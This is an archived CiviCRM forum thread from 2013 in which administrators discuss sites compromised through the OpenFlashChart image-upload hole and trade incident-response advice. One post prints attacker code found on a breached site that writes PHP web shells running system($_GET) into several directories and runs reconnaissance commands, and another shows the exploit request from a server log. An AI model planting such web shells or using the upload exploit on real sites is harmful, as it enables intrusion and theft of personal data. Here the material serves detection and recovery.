Author Topic: Security vulnerability in OpenFlashChart (Read 29527 times)

yogibear · April 17, 2013, 08:14:48 pm

Thanks lobo, yep have done that but wondering if anything else might have happened or whether the Drupal sethandler protections mentioned by grobot would have contained it from messing with my vps?

Chris Burgess · April 17, 2013, 09:56:53 pm

The fix for SA-2006-006 is no protection because the exploit was installed outside your site files directory.

If q.php was installed and functional on your site, it is safest to assume the attackers have already had full access to both your codebase and data. (They had the opportunity; the question is only whether they bothered to do so.) You should consider restoring from a known good backup or from sources (ie fresh copy of CiviCRM, Drupal modules etc).

Passwords should be reset for all user accounts, and consider advising the contacts and users of your site of the breach. This may be a legal requirement. If you use an onsite payment processor, you probably have some requirement to advise your provider. Possibly also if you're on shared hosting, IDK.

Logs and so forth might indicate the extent of the breach, but I'd say err as far on the side of caution as possible.

Sorry

Chris Burgess · April 17, 2013, 10:05:11 pm

Ah - you said VPS - a rollback to a recent VPS backup might save you a lot of time. Bear in mind that you'll be rolling back to a vulnerable state and need to remove the OFC vuln ASAP, as well as restore any data which was changed between the current state and your previous backup. You'd then still want to reset passwords for all users and advise them of the breach.

pkeogan · April 18, 2013, 03:59:48 pm

we had three sites with a tmp-upload-images directory with either the aaa.php file (and two others) or code.php . I don't see anything else. No issues that we can see either.

totten · April 18, 2013, 04:14:25 pm

Quote from: grobot on April 17, 2013, 09:56:53 pm

If q.php was installed and functional on your site, it is safest to assume the attackers have already had full access to both your codebase and data. (They had the opportunity; the question is only whether they bothered to do so.) You should consider restoring from a known good backup or from sources (ie fresh copy of CiviCRM, Drupal modules etc).

I generally agree with grobot's analysis, but there is one possible way out:

If the HTTP logs were stored in a secure/trustworthy fashion, then you can use them to determine (a) the name of every initially uploaded attack file (e.g. "q.php") and (b) whether those files were ever called. If the logs show that the attacker uploaded a new file ('q.php') in the OpenFlashChart directory but never requested it, then you might be ok. (If the attacker replaced a file in another directory, then more analysis would be required.)

Chris Burgess · April 18, 2013, 04:54:01 pm

Agreed, Totten. Basically I'm giving conservative advice, on the basis that I do not want to give any false assurances. Anyone competent enough to analyse their logfiles is probably equipped to make their own assessment (and ignore my advice). If they aren't, I'd be doing the wrong thing advising them to hope for the best

That's what I was "dog-whistling" with

Quote

Logs and so forth might indicate the extent of the breach, but I'd say err as far on the side of caution as possible.

"Might be ok" is not enough assurance for me. Contact data is sensitive information for the people concerned, as are CC details (if using onsite processors). Depending on the org, exposing personal data can be simply an annoyance ... or a serious legal problem ... or a life and death matter (eg orgs working under oppressive regimes). I'm not paranoid myself, but I know that some CiviCRM users have quite legitimate reasons to be paranoid.

From what I see in the sites which were scanned for this,

* An automated scan of a large number of sites has been performed.
* Higher profile sites have been targeted first (several dev instances which aren't in Google search did not get scanned).
* If successful, the attack attempts to access the uploaded file immediately after installing it.
* Scanning your logs for accesses to ofc_upload_image.php may show false positives if you use dashboard charts.
* The scans I've seen started on the 17th of April 2013, but the vulnerability was published in 2011.

pkeoghan, if you want to upload the aaa.php / code.php files to gist.github.com or a pastebin, I'd be interested to see them.

CiviTeacher.com · April 18, 2013, 06:27:23 pm

FYI I found a site with 'q.php' dated Apr 16, FYI.

On a particular site hit badly, I'm finding more files in the web-root (public_html) directory of a Joomla site with names like:

conf.php
index-2.php

That are dated April 2.

pkeogan · April 18, 2013, 06:27:48 pm

FYI: our sites have either only code.php or all three code.php, aaa.php, q.php. It also seems that code.php was uploaded several times. Code.php generates q.php when executed. It also seems that aaa.php and q.php are basically the same. aaa.php and q.php -- looks like they are a file manager of some sort.

Chris Burgess · April 18, 2013, 06:44:03 pm

Looking for specific installed files or modification times is really little help - they only have to change the file's name/ctime/mtime to hide it from you. All of that is a moment's work (or part of the automated toolkit) for an attacker.

If you've been exploited by this, I strongly recommend you look at restoring from backup unless you have the capacity to verify your entire codebase AND the contents of your DB.

That's awful horrid to hear because it's lots of work, but it's far better than telling yourself you're not infected and keeping on trading.

pkeogan · April 18, 2013, 07:25:53 pm

right, you want to find the first instance of:

/sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name=

in your web log and get a back up before the first call

xavier · May 30, 2013, 07:51:38 am

Hi,

I've been asked to check another site attacked. on my side, beside the points mentioned, it altered the settings.php, to use a sqlite database stored into a .php file.

Code: [Select]

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'sites/default/files/x.php',
      'driver' => 'sqlite',
      'prefix' => '',
    ),
  ),
);

Fortunately, it was a multisite configuration not using default.

On some theme page, I had stuff like:

Code: [Select]

$f=fopen("sites/x.php","w");
fwrite($f, '<?php system($_GET["fffff"]); ?>');
fclose($f);
$f=fopen("sites/default/x.php","w");
fwrite($f, '<?php system($_GET["fffff"]); ?>');
fclose($f);
$f=fopen("sites/default/files/y.php","w");
fwrite($f, '<?php system($_GET["fffff"]); ?>');
fclose($f);
$f=fopen("cache/y.php","w");
fwrite($f, '<?php system($_GET["fffff"]); ?>');
fclose($f);
system("whoami");
system("df -h");
system("find . -writable");
system("ls");

If you suspect you have been attacked, I'd suggest you grep for "system" calls and check your settings.php file

X+

diegov · October 10, 2013, 11:25:53 am

Hi,

I report an attack involving Open Flash Chart, received today with CiviCRM 4.3.6. The attacker was able to upload abusive files to /administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images on a Joomla! installation.

I followed the advisory and found many calls on Apache logs to ofc_upload_image.php, as bellow:

Code: [Select]

178.63.107.34 - - [08/Oct/2013:18:51:01 -0300] "POST /servicos-de-tecnologia/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name=load.php HTTP/1.1" 404 2230 "-" "libwww-perl/5.836"

It looks like the file (ofc_upload_image.php) was not removed (as I think if should have been) after the 4.2.6 upgrade. I took a look at the list of files and found those dates:

Code: [Select]

4.0K -rw-r--r-- 1 www-data www-data 1.2K Sep 25 16:16 ofc_tooltip.php
4.0K -rw-r--r-- 1 www-data www-data 1.6K Oct  3  2012 ofc_upload_image.php
4.0K -rw-r--r-- 1 www-data www-data  670 Sep 25 16:16 ofc_x_axis_label.php

It looks like the rest of the package files is being updated in each new upgrade, but the problematic ofc_upload_image.php is still there, in its old Oct 3 version.

Maybe it's a problem with the Joomla! installation script that is unable to remove that file properly? I checked the 4.3.6 and 4.3.7 packages and the file is really not there but, if it was installed before, the script is not cleaning it.

Thanks
Diego

PS: Just find a second site compromised with the same situation. Attacker was able to upload a lot a files, to OpenFlashChart/php-ofc-library/ and the upload directory. They even uploaded a web uploader script :/ !!

I opened a Issue at http://issues.civicrm.org/jira/browse/CRM-13572

Chris Burgess · October 10, 2013, 12:59:01 pm

Hi Diego

It's generally recommended to always remove the existing codebase before installing the new codebase, although I see the Joomla upgrade instructions for that release only suggest this if you run into trouble. (Please update the Wiki accordingly - I'm not familiar with Joomla install procedure myself.)

File removal was also advised in https://civicrm.org/blogs/totten/advisory-openflashchart-attacks

But yeah, with a codebase this size, I understand why many sites would be tempted to just overwrite, and it can also cause other problems with upgrades if previous files are retained.

CiviCRM Community Forums (archive)

News:

Author Topic: Security vulnerability in OpenFlashChart (Read 29527 times)

yogibear

Re: Security vulnerability in OpenFlashChart

Chris Burgess

Re: Security vulnerability in OpenFlashChart

Chris Burgess

Re: Security vulnerability in OpenFlashChart

pkeogan

Re: Security vulnerability in OpenFlashChart

totten

Re: Security vulnerability in OpenFlashChart

Chris Burgess

Re: Security vulnerability in OpenFlashChart

CiviTeacher.com

Re: Security vulnerability in OpenFlashChart

pkeogan

Re: Security vulnerability in OpenFlashChart

Chris Burgess

Re: Security vulnerability in OpenFlashChart

pkeogan

Re: Security vulnerability in OpenFlashChart

xavier

Re: Security vulnerability in OpenFlashChart

diegov

Re: Security vulnerability in OpenFlashChart

Chris Burgess

Re: Security vulnerability in OpenFlashChart